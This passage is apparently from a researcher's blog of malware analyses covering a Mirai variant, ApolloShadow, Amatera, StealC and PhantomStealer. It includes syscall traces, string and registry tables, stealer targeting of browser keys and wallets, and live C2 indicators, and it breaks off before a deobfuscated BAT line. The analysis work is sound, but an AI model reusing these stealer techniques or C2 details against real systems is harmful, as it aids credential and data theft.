This unusual stack size reduction suggests memory optimization for embedded IoT devices.

Signal Handling Setup


rt_sigaction() -> sets up SIGPWR (signal 32) handler

rt_sigprocmask() -> blocks certain signals

The use of SIGPWR (power failure signal) is particularly interesting - this signal is rarely used in normal programs and likely serves as a custom communication mechanism or anti-debugging technique.

Memory Management


// Heap expansion observed

brk(0x8065000) = 0x8065000 // New heap boundary

// EAX: 0x8065000 (134631424)

The malware performs dynamic memory allocation, expanding its heap space as needed.

Network Operations


; Socket creation and immediate closure

socketcall(SYS_SOCKET) = 3 ; Creates socket descriptor 3

close(3) = 0 ; Immediately closes socket

; EAX: 0x3 → 0x0 (success)

This quick socket open/close pattern suggests network capability testing or fingerprinting.

Time-Based Operations


// Timestamp collection

time(NULL) = 1755178257 // 0x689de511

times(&tms_buf) = 429663940 // 0x199c26c4

Critical Observation: The malware uses time-based execution control, suggesting it operates on scheduled intervals or waits for specific time conditions before activating.

Process Forking Behavior


fork() -> creates child process with PID 5489 (0x1571)

Key Debugging Point: As you can see, Mirai uses fork() at this critical juncture, spawning a child process with PID 5489. Use this PID to attach GDB to debug the child process - this is where the main malicious activity typically occurs.

Process Enumeration & System Reconnaissance

The malware systematically scans running processes by reading /proc/[PID]/cmdline files:

Target Process Discovery:

  • /proc/1595/cmdline - Initial process scanning

  • /usr/bin/pipewire-pulse - Audio service

  • /usr/bin/dbus-daemon - System message bus

  • /usr/bin/gnome-keyring-daemon - Credential management

  • /usr/libexec/xdg-document-portal - Document access service

  • /usr/libexec/xdg-permission-store - Permission management

  • /usr/libexec/gdm-wayland-session - Display manager session

  • /usr/libexec/gnome-session-binary - GNOME session manager

  • /usr/libexec/gcr-ssh-agent - SSH key management

  • /usr/bin/gnome-shell - Desktop environment

Pattern Analysis: The malware specifically targets GNOME desktop environment processes, suggesting it’s designed to operate on Linux desktop systems rather than just embedded IoT devices.

Data Extraction Methodology

Each process enumeration follows this pattern:


# Pattern observed in GDB trace

open("/proc/1595/cmdline", O_RDONLY) = 4

read(4, "/usr/bin/pipewire-pulse\0", 4096) = 24

close(4) = 0

  

open("/proc/1596/cmdline", O_RDONLY) = 4

read(4, "/usr/bin/dbus-daemon\0--config-file...", 4096) = 106

close(4) = 0

GDB Debugging Technique:


# Set breakpoint on read syscalls

(gdb) catch syscall read

# When stopped, examine EBP register contents

(gdb) x/s $ebp

# Extract strings automatically with:

(gdb) python print(gdb.execute("x/s $ebp", to_string=True))

C2 Communication Indicators

The time-based operations combined with network socket creation suggest the malware communicates with its C2 server (103.19.163.174) using time-synchronized protocols:


# Observed communication pattern

C2_SERVER = "103.19.163.174"

timestamp = 0x689de511 # 1755178257

  

# Time-based authentication logic

if current_time >= target_timestamp:

connect_to_c2(C2_SERVER)

send_heartbeat()

The specific timestamp checking indicates it may:

  • Wait for specific time windows to connect

  • Use time as part of its authentication mechanism

  • Coordinate attacks based on synchronized timing

Key Technical Insights

  1. Anti-Analysis Features: The signal handling and stack size manipulation suggest anti-debugging capabilities

  2. System Profiling: Extensive process enumeration indicates the malware profiles its environment before execution

  3. Time-Based Execution: The temporal controls suggest coordinated botnet behavior

  4. Desktop Targeting: Process targeting reveals adaptation for desktop Linux environments

Conclusion

This Mirai variant demonstrates sophisticated system reconnaissance capabilities, using process enumeration to understand its execution environment. The time-based controls and C2 communication patterns reveal a well-orchestrated botnet architecture designed for coordinated attacks.

For researchers: Focus your analysis on the forked child process (PID 5489) and monitor the time-based execution triggers to understand the full attack lifecycle.

IOC

0dad0cc96ea8239f5e5c15a7b1e01db862c1bb93bf01d551324309ea1b628e9b/

boatnet.x86

ApolloShadow

Backdoor

What is ApolloShadow?

ApolloShadow has the capability to install a trusted root certificate to trick devices into trusting malicious actor-controlled sites, enabling Secret Blizzard to maintain persistence on diplomatic devices, likely for intelligence collection. -Malpedia

Small Story

This malware is used in a campaign where Secret Blizzard has been targeting embassies located in Moscow using an adversary-in-the-middle (AiTM) position. Microsoft has written report about this malware in 2025-07-31. Which I didn’t actually read because, I wanted to find out everything by myself and have some practice. The sample is provided in MalwareBazaar thanks to “smica83”.

Static Analysis

This time, I want to write about analysis part-bypart, like this. Static Analysis of malware actually reveals a lot. It is a 64-bit C++ compiled executable with NX stack and ASLR is enabled by default. The sections of the executable are: .text, .rdata (and _RDATA) , .data, .pdata, .rsrc, .reloc The entropy of sections are under 7, which means executable is not packed, just checking out executable in ghidra also reveals it is not ecrypted but it uses some encryption for sure.

Strings

The questionable and uncommon strings I found were:

LocationString ValueString RepresentationData Type
1400229480123456789abcdefghijklmnopqrstuvwxyz“0123456789abcdefghijklmnopqrstuvwxyz”ds
1400229980123456789abcdefghijklmnopqrstuvwxyz“0123456789abcdefghijklmnopqrstuvwxyz”ds
14002a0d0Septemberu“September“unicode
14002a0e8Octoberu“October“unicode
14002a0f8Novemberu“November“unicode
14002a110Decemberu“December“unicode
14002a138MM/dd/yyu“MM/dd/yy“unicode
14002a150dddd, MMMM dd, yyyyu“dddd, MMMM dd, yyyy“unicode
14002a178HH:mm:ssu“HH:mm:ss“unicode
14002cf78south-koreau“south-korea“unicode
14002cf90trinidad & tobagou“trinidad & tobago“unicode
14002cfb8united-kingdomu“united-kingdom“unicode
14002cfd8united-statesu“united-states“unicode
14002e0c8de-DEu“de-DE“unicode
14002e248sl-SIu“sl-SI“unicode
14002e350hi-INu“hi-IN“unicode
14002e3e8bn-INu“bn-IN“unicode
1400316f0certutil.exe -f -Enterprise -addstoreu“certutil.exe -f -Enterprise -addstore “unicode
140031740rootu“root“unicode
140031780timestamp.digicert.comu“timestamp.digicert.com“unicode
1400317b0/registeredu“/registered“unicode
1400317d8HTTP/1.0u“HTTP/1.0“unicode
140031e20ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz0123456789+/u“ABCDEFGHIJKLMNOPQRSTUVWXYZabcedfghijklmnopqrstuvwxyz0123456789+/“unicode

As you can see I didn’t actually list every string possible, like keyboard and date related strings. But just looking at these strings we can see it utilizes cerutils.exe and does Internet related things. Also we can see it (probably) send request to timestamp.digicert.com, if you don’t know what it is used for, a little research reveals: “DigiCert’s timestamp service, accessible at http://timestamp.digicert.com, is primarily used to cryptographically timestamp digital signatures on software code, documents, or other files. This service ensures that the signature remains valid even after the original signing certificate expires or is revoked, providing long-term trust and integrity for signed materials”

So this (even though we don’t have any proof yet) reveals, malware uses this technique to show some malicious executable legit.

Imports

Luckily for most of the functions (maybe all) executable doesn’t use dynamic API resolution technique. So we can already get a lot about malware’s purpose. Next I want to list some common APIs used in malwares.

Functions
HttpOpenRequestW
InternetOpenW
HttpSendRequestW
InternetCloseHandle
InternetConnectW
CreateDirectoryW
WriteFile
GetTempPathW
CreateFileW
DeleteFileW
CreateThread
CreateProcessW
RegEnumValueW
RegOpenKeyW
RegOpenKeyExW
RegCreateKeyExW
RegCloseKey
GetProcAddress
FreeLibrary
LoadLibraryExW

These are some functions that caught my eye, which commonly found in malwares. I don’t think explaining every function purpose is important, as their name alone explains a lot. But if you don’t know any of them check out microsoft documentation.

Junk Functions?

Even though it mostly looks like, malware is not obfuscated a single bit, there are some functions which make 0 sense and probably used for wasting researcher’s time.

1|700

1|700

Even though these doesn’t make sense in static decompilation (and disassembly of these functions are mostly broken), we might get something from these in dynamic analysis.

The things is, main part of the malware is as clear as it can be, so that is a little bit weird:

1|900

1|900

Dynamic Analysis

Dynamic execution shows some results of adding and sdjusting some registry keys and sending requests to http://timestamp.digicert.com, the request I caught for my sample of malware was: /request=DQAAAAAAAAAOAAAAAAAAABMAAAAIAAAABAAAAAIAAAAFAAAAAAAAAA8AAAAAAAAA&t=MTkyLjE2OC4xMjIuOTUgMFItMFQtMAAtMKMtMBAtMAQNCjEyNy4wLjAuMSANCi==

The t variable decodes to: 192.168.122.95 0R-0T-0�-0-0-0 127.0.0.1

I couldn’t get much about that ip address, the only thing shodan gave me was: Microsoft RPC Endpoint Mapper d95afe70-a6d5-4259-822e-2c84da1ddb0d version: v1.0 protocol: [MS-RSP]: Remote Shutdown Protocol provider: wininit.exe ncacn_ip_tcp: 192.168.122.95:49152 ncalrpc: WindowsShutdown ncacn_np: \\WIN-H1K3TN5SIJM\PIPE\InitShutdown ncalrpc: WMsgKRpc067700

Windows Registry Changes

Keys Added

Registry Key
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DB

Values Added

Registry PathValue NameValue Data
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7Name“szOID_ROOT_PROGRAM_AUTO_UPDATE_CA_REVOCATION”
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7Name“szOID_ROOT_PROGRAM_AUTO_UPDATE_END_REVOCATION”
HKLM\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7Name“szOID_ROOT_PROGRAM_NO_OCSP_FAILOVER_TO_CRL”
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30Blob03 00 00 00 …
HKLM\SOFTWARE\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DBBlob03 00 00 00 …
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\SystemLocalAccountTokenFilterPolicy0x00000001
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserListUpdatusUser0x00000000
HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\VolatileNotifications41C64E6DA318D05501 00 04 80 …
HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Policies\SystemLocalAccountTokenFilterPolicy0x00000001
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\CA\Certificates\DE5973EDDDE83761DBD52BF41561922D2FE9BA30Blob03 00 00 00 …
HKLM\SOFTWARE\WOW6432Node\Microsoft\EnterpriseCertificates\Root\Certificates\6AA75533FCA445212D4FA39F9A691B8327A004DBBlob03 00 00 00 …

User-Specific Values Added

Registry PathValue NameValue Data
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB@%systemroot%\system32\wsdapi.dll,-200“Trusted Devices”
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB@C:\Windows\System32\AppxPackaging.dll,-1001“Trusted Packaged App Installation Authorities”
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB@%SystemRoot%\System32\SessEnv.dll,-101“Remote Desktop”
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB@%SystemRoot%\System32\CertCA.dll,-304“Endorsement Key Trusted Root Certification Authorities”
HKU\S-1-5-21-404113094-2314533783-440825805-1001\SOFTWARE\Classes\Local Settings\MuiCache\152\417C44EB@%SystemRoot%\System32\CertCA.dll,-305“Endorsement Key Intermediate Certification Authorities”
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB@%systemroot%\system32\wsdapi.dll,-200“Trusted Devices”
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB@C:\Windows\System32\AppxPackaging.dll,-1001“Trusted Packaged App Installation Authorities”
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB@%SystemRoot%\System32\SessEnv.dll,-101“Remote Desktop”
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB@%SystemRoot%\System32\CertCA.dll,-304“Endorsement Key Trusted Root Certification Authorities”
HKU\S-1-5-21-404113094-2314533783-440825805-1001_Classes\Local Settings\MuiCache\152\417C44EB@%SystemRoot%\System32\CertCA.dll,-305“Endorsement Key Intermediate Certification Authorities”

Issue

I just realized to move on with malware we actually need a response from C2 server, which will not be possible in my case and I couldn’t find any network logs or anything related to this incident. So I had to check out microsoft’s report about this case. The “junk code” we found earlier is actually used later on for malware to decrypt some strings as written in microsoft’s report. So this was actually all I could do about this malware, to dive deep in, check out the microsoft’s report.

AmateraStealer

Stealer

What is Amatera?

“Amatera is a stealer written in C++. It conducts anti-sandbox analysis before enumerating browsers, exfiltrating found cryptocurrency files/wallets and possibly credentials.” -malpedia

Static Analysis

Headers

Starting out with analysis, I use CFF explorer to find out some capabilities. It is a 64 bit PE compiled using Visual Studio, written in C/C++. NX (non-executable stack) is on for this executable. Sections: .text, .rdata, .data, .pdata, .reloc. One important finding was imports of the executable, it only imports 2 functions from KERNEL32.dll: LoadLibraryW and GetProcAddress, we already know it resolves API dynamically

Strings

Looking at the strings, it can be seen, some of them are encrypted, which might need to let malware execute and decrypt them by itself. But there are still some clear strings, which exposes some functionalities of malware:

Anti-Debug/Anti-VM Detection Functions

AddressStringDescription
14000a020IsDebuggerPresentDetects if debugger is attached
14000a038GetCurrentProcessGets current process handle
14000a050CheckRemoteDebuggerPresentChecks for remote debugging

Virtualization/Sandbox Detection Strings

AddressStringDescription
14000a070VirtualBoxVM detection string
14000a07cVMwareVM detection string
14000a098Hyper-VVM detection string
14000a0a0MicrosoftVM vendor detection

Registry Access Functions

AddressStringDescription
14000a0e8RegGetValueARegistry value retrieval (ANSI)
14000a138RegGetValueARegistry value retrieval (ANSI)
14000a188RegGetValueARegistry value retrieval (ANSI)
14000a2a8RegGetValueWRegistry value retrieval (Unicode)
14000a318RegGetValueWRegistry value retrieval (Unicode)
14000ae50RegOpenKeyExWOpens registry key (Unicode)
14000ae78RegGetValueWRegistry value retrieval (Unicode)
14000aea0RegGetValueWRegistry value retrieval (Unicode)
14000aec0RegCloseKeyCloses registry key
14000b448RegOpenKeyExWOpens registry key (Unicode)
14000b458RegEnumKeyExWEnumerates registry keys
14000b480RegGetValueWRegistry value retrieval (Unicode)
14000b4a8RegGetValueWRegistry value retrieval (Unicode)
14000b4d0RegCloseKeyCloses registry key

Registry Keys - System Information

AddressStringDescription
14000a0c0HARDWARE\DESCRIPTION\System\BIOSBIOS information registry path
14000a110HARDWARE\DESCRIPTION\System\BIOSBIOS information registry path
14000a160HARDWARE\DESCRIPTION\System\BIOSBIOS information registry path
14000ae10SOFTWARE\Microsoft\CryptographyCryptography registry path
14000af50SOFTWARE\Microsoft\Windows NT\CurrentVersionWindows version registry path
14000afe0SOFTWARE\Microsoft\Windows NT\CurrentVersionWindows version registry path
14000b080SOFTWARE\Microsoft\Windows NT\CurrentVersionWindows version registry path
14000b240HARDWARE\DESCRIPTION\System\CentralProcessor\0CPU information registry path
14000b2e0HARDWARE\DESCRIPTION\System\CentralProcessor\0CPU information registry path
14000b3e0SOFTWARE\Microsoft\Windows\CurrentVersion\UninstallInstalled software registry path

Registry Values - System Information

AddressStringDescription
14000a0b0BIOSVendorBIOS vendor registry value
14000a0f8SystemProductNameSystem product name registry value
14000a148SystemManufacturerSystem manufacturer registry value
14000ae60MachineGuidMachine GUID registry value
14000ae88MachineGuidMachine GUID registry value
14000af30ProductNameProduct name registry value
14000afc0ProductNameProduct name registry value
14000b060InstallDateInstallation date registry value
14000b210ProcessorNameStringProcessor name registry value
14000b2b0ProcessorNameStringProcessor name registry value
14000b468DisplayNameDisplay name registry value
14000b490DisplayNameDisplay name registry value

Network Communication

AddressStringDescription
14000a1c0Authorization:HTTP authorization header
14000a1d8/core/createSessionAPI endpoint for session creation
14000a1f0afdprox.icuC&C server domain
14000a208/core/sendPartAPI endpoint for data transmission
14000a220afdprox.icuC&C server domain

Internet/HTTP Functions

AddressStringDescription
14000a9d0InternetOpenAOpens internet connection
14000a9e0InternetConnectAConnects to internet server
14000a9f8HttpOpenRequestAOpens HTTP request
14000aa10HttpSendRequestASends HTTP request
14000aa28InternetReadFileReads internet file
14000aa40InternetCloseHandleCloses internet handle
14000aa58InternetCloseHandleCloses internet handle
14000aa70InternetCloseHandleCloses internet handle

Application Paths - Steam

AddressStringDescription
14000a240InstallPathSteam installation path value
14000a260SOFTWARE\WOW6432Node\Valve\SteamSteam registry path
14000a2b8InstallPathSteam installation path value
14000a2d0SOFTWARE\WOW6432Node\Valve\SteamSteam registry path
14000a328\configSteam config directory
14000a338*.vdfSteam VDF files pattern
14000a348SteamSteam identifier

Application Paths - Telegram

AddressStringDescription
14000a360%appdata%\Telegram Desktop\tdataTelegram data directory
14000a3b0dumpsTelegram dumps directory
14000a3c0emojiTelegram emoji directory
14000a3d0tdummyTelegram dummy files
14000a3e0tempTelegram temp directory
14000a3f0user_dataTelegram user data
14000a408TelegramTelegram identifier

Browser Data Paths

AddressStringDescription
14000a420applicationsBrowser applications
14000a440\Local StateBrowser local state file
14000a460state_keyBrowser state key
14000a478filesBrowser files
14000a488chromium_appsChromium applications
14000a4a8\Local StateBrowser local state file
14000a4c8state_keyBrowser state key
14000a4f0app_bound_keyBrowser app-bound key
14000a518\Local Extension Settings|Browser extension settings path
14000a558filesBrowser files
14000a568extensionsBrowser extensions
14000a580profilesBrowser profiles
14000a598chromiumChromium identifier
14000a958\ProfilesBrowser profiles directory
14000a978geckoGecko browser engine

Cryptographic Functions

AddressStringDescription
14000a5b0CryptUnprotectDataWindows DPAPI decryption
14000a5c8LocalFreeFrees local memory
14000a5d8“encrypted_key”:“JSON key for encrypted data
14000a658“app_bound_encrypted_key”:“JSON key for app-bound encrypted data

Process Management Functions

AddressStringDescription
14000a5f0CreateToolhelp32SnapshotCreates process snapshot
14000a610Process32FirstWGets first process
14000a620OpenProcessOpens process handle
14000a630TerminateProcessTerminates process
14000a648Process32NextWGets next process
14000a678CreateProcessWCreates new process
14000a688msedge.exeMicrosoft Edge executable
14000aa88OpenProcessOpens process handle
14000ab00CloseHandleCloses handle
14000ab10WaitForSingleObjectWaits for object
14000b4e0CreateToolhelp32SnapshotCreates process snapshot
14000b500Process32FirstWGets first process
14000b510Process32NextWGets next process
14000b520CloseHandleCloses handle

Memory Management Functions

AddressStringDescription
14000a998HeapAllocAllocates heap memory
14000a9a8HeapReAllocReallocates heap memory
14000a9b8HeapFreeFrees heap memory
14000aa98VirtualAllocExAllocates virtual memory in process
14000aaa8VirtualFreeExFrees virtual memory in process
14000aab8WriteProcessMemoryWrites to process memory
14000aad0ReadProcessMemoryReads from process memory
14000aae8CreateRemoteThreadCreates thread in remote process
14000ac40GetProcessHeapGets process heap

File System Functions

AddressStringDescription
14000a850FindFirstFileWFinds first file
14000a870FindNextFileWFinds next file
14000a888FindFirstFileWFinds first file
14000a8b0FindNextFileWFinds next file
14000a8d0FindFirstFileWFinds first file
14000a8f0FindNextFileWFinds next file
14000a900GetFileSizeGets file size
14000a910CreateFileWCreates/opens file
14000a920CloseHandleCloses handle
14000a930ReadFileReads from file
14000a940GetFileAttributesWGets file attributes

System Information Functions

AddressStringDescription
14000a198GetPhysicallyInstalledSystemMemoryGets installed RAM
14000aed0GetComputerNameWGets computer name
14000af08GetUserNameWGets username
14000b110GetUserDefaultLocaleNameGets system locale
14000b140GetDynamicTimeZoneInformationGets timezone info
14000b1a0EnumDisplaySettingsWGets display settings
14000b1d8EnumDisplayDevicesWEnumerates display devices
14000b368GetPhysicallyInstalledSystemMemoryGets installed RAM
14000b3a8GetModuleFileNameWGets module filename
14000b550EnumDisplaySettingsWGets display settings

Screenshot and Clipboard Functions

AddressStringDescription
14000b568GetDCGets device context
14000b570CreateCompatibleDCCreates compatible DC
14000b588CreateCompatibleBitmapCreates compatible bitmap
14000b5a0SelectObjectSelects object into DC
14000b5b0BitBltBit block transfer
14000b5b8GetObjectAGets object information
14000b5c8GetDIBitsGets bitmap bits
14000b5f0SelectObjectSelects object into DC
14000b600DeleteObjectDeletes object
14000b610DeleteDCDeletes device context
14000b620ReleaseDCReleases device context
14000b630OpenClipboardOpens clipboard
14000b640GetClipboardDataGets clipboard data
14000b658CloseClipboardCloses clipboard
14000b668GlobalLockLocks global memory
14000b678CloseClipboardCloses clipboard
14000b6a0GlobalUnlockUnlocks global memory
14000b6b0CloseClipboardCloses clipboard

String Conversion Functions

AddressStringDescription
14000a6a0MultiByteToWideCharConverts multibyte to wide char
14000a6b8WideCharToMultiByteConverts wide char to multibyte
14000a6d0WideCharToMultiByteConverts wide char to multibyte
14000b6d8ExpandEnvironmentStringsWExpands environment variables

Environment Functions

AddressStringDescription
14000a768APPDATAAPPDATA environment variable
14000a778GetEnvironmentVariableWGets environment variable
14000a7b0GetEnvironmentVariableWGets environment variable
14000a7e8GetEnvironmentVariableWGets environment variable
14000a818GetEnvironmentVariableWGets environment variable

Dynamic Loading Functions

AddressStringDescription
14000ab28GetModuleHandleAGets module handle
14000ab40RtlInitUnicodeStringInitializes Unicode string
14000ab58LdrLoadDllLoads DLL
14000b99cLoadLibraryWLoads library (Unicode)
14000b98aGetProcAddressGets procedure address
14000d4e6GetProcAddressGets procedure address
14000d4f8LoadLibraryALoads library (ANSI)

System DLLs

AddressStringDescription
14000ab68Kernel32.dllWindows kernel library
14000ab88Crypt32.dllCryptography library
14000aba0User32.dllUser interface library
14000abb8Advapi32.dllAdvanced Windows API
14000abd8Wininet.dllWindows internet library
14000abf0Gdi32.dllGraphics device interface
14000ac08Ole32.dllObject linking and embedding
14000ac20OleAut32.dllOLE automation library
14000b9aaKERNEL32.dllWindows kernel library
14000d21cole32.dllObject linking and embedding
14000d27coleaut32.dllOLE automation library
14000d506KERNEL32.dllWindows kernel library

COM Functions

AddressStringDescription
14000d22cCoInitializeExInitializes COM library
14000d23cCoUninitializeUninitializes COM library
14000d24cCoCreateInstanceCreates COM object instance
14000d264CoSetProxyBlanketSets COM proxy security
14000d28cSysAllocStringByteLenAllocates BSTR
14000d2a4SysFreeStringFrees BSTR

Configuration/Target Data

AddressStringDescription
14000ac50session_idSession identifier
14000ac60grabber_rulesData grabbing rules
14000ac88gecko_pathsFirefox browser paths
14000aca0gecko_filesFirefox browser files
14000acb8chromium_browsersChromium-based browsers
14000ad38chromium_filesChromium browser files
14000ad50chromium_extensionsChromium extensions
14000ad70chromium_appsChromium applications
14000ada8applicationsApplications target
14000add8desktop_walletsDesktop wallet applications
14000a6e8desktop_walletsDesktop wallet applications

System Information Fields

AddressStringDescription
14000aeb0guidMachine GUID
14000aee8computer_nameComputer name
14000af18usernameUsername
14000b050os_nameOperating system name
14000b0f0install_dateOS installation date
14000b130localeSystem locale
14000b160timezone_nameTimezone name
14000b180timezone_biasTimezone bias
14000b1c0resolutionScreen resolution
14000b1f0video_card_nameGraphics card name
14000b350cpu_nameCPU name
14000b390total_ramTotal RAM
14000b3c0start_pathExecutable start path
14000b4b8softwareInstalled software
14000b530process_listRunning processes
14000b5d8screenshotScreenshot data
14000b688clipboardClipboard content
14000b6c0system_infoSystem information

Miscellaneous

AddressStringDescription
14000a1fcSleepSleep function
14000a22cSleepSleep function
14000a4e0NONENone value
14000a708ExitProcessExit process function
14000a718b0b12e32-2f73-41fc-9031-307e8fdbc5d4GUID identifier
14000a740test_5Test identifier
14000a750build_idBuild identifier
14000a988grabberGrabber identifier
14000ad98trueBoolean true value
14000adc8trueBoolean true value
14000adf8trueBoolean true value
14000d478ElevatorShell.exeExecutable name
14000d48a?pData@@3PEAXEAC++ mangled symbol

Section Names

AddressStringDescription
14000c9fb.rdataRead-only data section
14000ca4c.pdataException handling data
14000d340.rdataRead-only data section
14000d350.rdata$voltmdCompiler metadata
14000d390.edataExport data section
14000d3f0.dataData section
14000d400.pdataException handling data

Disassembly/Decompilation

To statically analyze executable, I will use ghidra.

Starting out, the first (custom) function that executable calls loads all libraries needed:

1|700

As LoadLibraryW returns handles to these DLLs, later on as you can see, it can use these handles to call functions, for example in this case it is “GetProcessHeap”. TO have understanding of how it looks like:

1|700

It is simple, get address of function and call it, there are also other functions (different for each function) to handle arguments too.

Moving on, malware calls another (custom) function that tries to create session with “afdprox.ciu” domain using authorization key of: “b0b12e32-2f73-41fc-9031-307e8fdbc5d4”

1|700

param_2 is “b0b12e32-2f73-41fc-9031-307e8fdbc5d4” and it sleeps for 10000ms (10 secs) and waits for an answer (it has to return 0).

and it tries to read 0x7ff bytes of data, which I would expect it to be either strings or a file dropped by malware later for some functionalities. 1|700

Dynamic Analysis

Sadly, as the domain this malware uses is down right now, it will not be possible to see full functionality of malware but as I listed strings before, nearly all of them explain whole purpose of malware, starting with:

  1. Check if executable is being debugged.
  2. Check if currently inside of a VM (checking registry keys)
  3. Create session using hardcoded authorization key
  4. Steal data such as Steam, telegram, chromium, gecko (firefox)
  5. Other information that malware looks for: Computer name, Username, ProductName, Os_Name, InstallDate, timezone, resolution, video card name, cpu name etc. it checks all these using registry.
  6. Another functionality of malware is taking screenshot:

1|700

(function is a little bit longer), this is just part of the screenshot to show it retrives information about graphic modes.

  1. It can get Clipboard data:

1|700

  1. And at the end, sends all these data parts by sending POST request to /core/sendPart to afdprox.icu domain.

StealC

Stealer

What is StealC?

“Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth’s statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.” -malpedia

Loader

Searching out stealc in malware bazaar, I found out 15mb stealc malware, it is 64 bit .NET assembly. It was highly obfuscated which made it so hard to analyze, but after finding the pattern, I could write a custom script in C# to deobfuscate it: 1|700

The thing is, in (almost) every method of executable, it calls a bunch of empty functions (actually they have 4 instructions but they do nothing): 1|1000

and every time, it ends with calling different method from start, which does exactly same things. 1|700

Using these information, I could deobfuscate and lower file size to 7-8mb, which made things easier (I didn’t recover whole flow of executable I just removed these empty functions and all references to them).

After all these deobfuscation, I found out the important part in tree177 method: 1|1000

As you can see, even after removing all empty functions, there is still 1 called from tree177: 1|1000

Which also calls Wrenly for decryption: 1|1000

Of course, I didn’t have to write whole new code for this to decrypt and save binaries, I can just run (in vm) and save binaries after decryption. It drops 2 files, first one is another 64 bit .NET assembly and other one is 64 bit C++ compiled binary.

When we check out .NET assembly, it is just another highly obfuscated binary which is used by our first loader binary to load C++ compiled executable. As it is all it does, I didn’t bother to deobfuscate it, it has nothing else to do.

StealC

Now, we are left with actual stealer with a lot of functionalities. I also uploaded file to malware bazaar in case, someone needs to check it out by himself, I also deobfuscated some parts of (not so clean but still understandable) malware and I will put reference to it at the end of the page, which you can download and check it out in ghidra.

Static

Executable has 92 imports from kernel32, including LoadLibraryA, GetProcAddress (which will be only ones directly used by malware). It is going to use these 2 functions to load other libraries and find address of functions to call them in a stealthy way (only for static analysis).

First Part

1|600

The malware starts with decrpting scripts using custom decrpytion technique and load libraries, get address of functions and call them in a stealthy way. I decrypted them and renamed DATAs, after doing all these, it checks the time and continues accordingly, which I manually changed value in dynamic analysis to continue.

Second Part

This part of the malware is a lot more obfuscated and have more functionality (basically main part). 1|600

It starts with same technique as first part and next asks the C2 from response, which responds with a encrypted string. 1|600

and decrypted opcode can be: 1|600

in total: “success”, “access token”, “self delete”, “take screenshot”, “loader”, “steal steam”, “steal outlook”, “browsers”, “plugins”, “files”, “blocked”.

The values are set accordingly and it can do things like: 1|800

1|800

etc. I didn’t list everything but I resolved, decrpyted every function/string possible and uploaded it to github, in case someone needs to improve it more.

IOC

malware bazaar

github_ghidra_file

PhantomStealer

Stealer

What is PhantomStealer?

PhantomStealer is a malicious program (malware) designed to steal sensitive information from infected computers. It primarily targets data from web browsers (like saved passwords, cookies, and credit cards) and cryptocurrency wallets. It is sold as a “Malware-as-a-Service” (MaaS) on dark web forums, making it accessible to cybercriminals with limited technical skills. The stolen data is then sent to a server controlled by the attacker.

Small Story

The vbs file is provided by abuse.ch. It is a dropper file and highly obfuscated. The sample I had at the end (the main stealer) had all logging available, basically telling what it does and it was .NET executable which is so easy to understand functionality. I uploaded the file and provided IOC at the end of the page, you can check it out but I will also list every functionality of malware.

Flow

1|500

Dropper

VBS

It is basic obfuscated dropper written in vbs. Removing last line is enough to block execution but write file to the directory: 1|600

The next bat file will be dropped to: “C:\Users\Public\PondShed7932.bat”

BAT

This file will copy itself it to “%userprofile%/aoc.bat”, which is important for future usage, this file is important part for other payloads, as it has every data encrypted in it, for example lines starting with “:::” and “::” are later gonna be used. 1 for evading AV and other 2 “::” will be decrypted and saved as .NET executables.

Next up, this bat file will execute a line which deobfuscates to this:

